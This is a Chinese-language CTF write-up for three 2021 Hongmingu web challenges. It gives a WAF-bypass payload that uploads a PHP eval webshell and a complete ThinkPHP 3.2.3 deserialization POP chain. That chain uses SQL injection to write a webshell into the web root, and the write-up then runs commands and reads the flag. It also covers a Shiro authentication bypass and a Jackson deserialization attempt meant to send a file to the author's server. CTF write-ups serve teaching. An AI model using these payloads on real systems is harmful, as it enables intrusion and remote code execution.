红明谷CTF 2021 | BUU2021CTF复现
红明谷CTF 2021 | BUU2021CTF复现
[红明谷CTF 2021]write_shell
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
payload:
?action=upload&data=<?assert(urldecode("%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%34%37%25%34%35%25%35%34%25%35%62%25%33%30%25%35%64%25%32%39%25%33%62"))?>
?action=pwd
/sandbox/cc551ab005b2e60fbdc88de809b2c4b1/?0=system('cat /flllllll1112222222lag');
url编码传入到php内部已经被解码一次,所以我们需要两此编码,上面内容解码后为eval($_GET[0]);
- 短标签可以省略php
- ?>标签末尾的最后一个语句可以省略
;
[红明谷CTF 2021]EasyTP
得出输入不存在的控制器得到版本
TP3.2.3有两个漏洞:
- 日志泄露: Application/Runtime/Logs/Home/年份_月份_日期.log
- SQL注入: Chain: __destruct()->destroy()->delete()->Driver::delete()->Driver::execute()->Driver::initConnect()->Driver::connect()->
扫描后台发现有源码www.zip, 在里面有反序列化入口:
直接使用Poc
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, // 开启才能读取文件
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //把堆叠开了,以方便执行写入文件操作
);
protected $config = array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=1;select '<?php eval(\$_GET[0]);?>' into outfile '/var/www/html/2.php';#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
然后就会得到后门/2.php?0=system($_POST[1]);
直接AntWord连接拿到权限, 但是flag不在根目录下, 只有一个flag.sh
文件
#!/bin/sh
mysql -e "create table flag(flag varchar(256)); insert into flag values('$FLAG');" -uroot -proot test
export FLAG=flag_not_here
FLAG=flag_not_here
可见flag是在数据库的flag表里面, 但是我遇到个问题, 靶场docker里面的mysql没有开启同时我也开启不了所以也就无法进入查找数据库里面的数据, 想去直接访问/var/lib/mysql里面存放数据库数据的文件也无权限, 麻了,讲道理来说题目原本应该可以直接连接数据库才对的
不过问题不大, 后来想到可以直接在反序列化那里修改mysql执行语句
"table" => "mysql.user where 1=1;select flag from test.flag into outfile '/var/www/html/1';#",
得到flag在test.flag下
"table" => "mysql.user where 1=1;select table_schema,table_name,column_name from information_schema.columns where column_name='flag' into outfile '/var/www/html/2';#",
得到flag
[红明谷CTF 2021]JavaWeb
扫描发现有/login和/json
我们直接转到/login只返回了/json, 默认为GET方式请求, 改为POST请求返回登录错误
访问/json自动跳转到/login;jsessionid=479FE7E825C7C5E1E392BAF48C5A2D00
抓包查看可以看到Response Headers
中rememberMe=deleteMe;
得知这是个Shiro框架
CVE-2020-11989 : Apache Shiro权限绕过
访问/;/login
时便可以绕过shiro认证查看需要登录认证的信息了(CVE-2020-11989 : Apache Shiro权限绕过)
针对Shiro未授权访问其他版本漏洞见 https://www.freebuf.com/vuls/283810.html
可以看到提示需要一个实体
如果我们输入{username="admin",password="admin"}
会返回告知我们需要一个json数据
但是我们发送一个json数据包却还是报错
一直修改数据格式都没有用,不过最后直接复制报错的message信息搜了一下, 发现是Jackson的问题, 也就是说用到了Jackson
打Jackson的反序列化漏洞:
按理来说,这应该是可以发送/flag
文件到我vps服务器监听的4444端口的, 但是请求发出后一直没反应, 其它jackson的环境链接也试了全都不行, 麻了, 不知道是不是环境问题, 到网上搜了wp都是这么做直接出flag了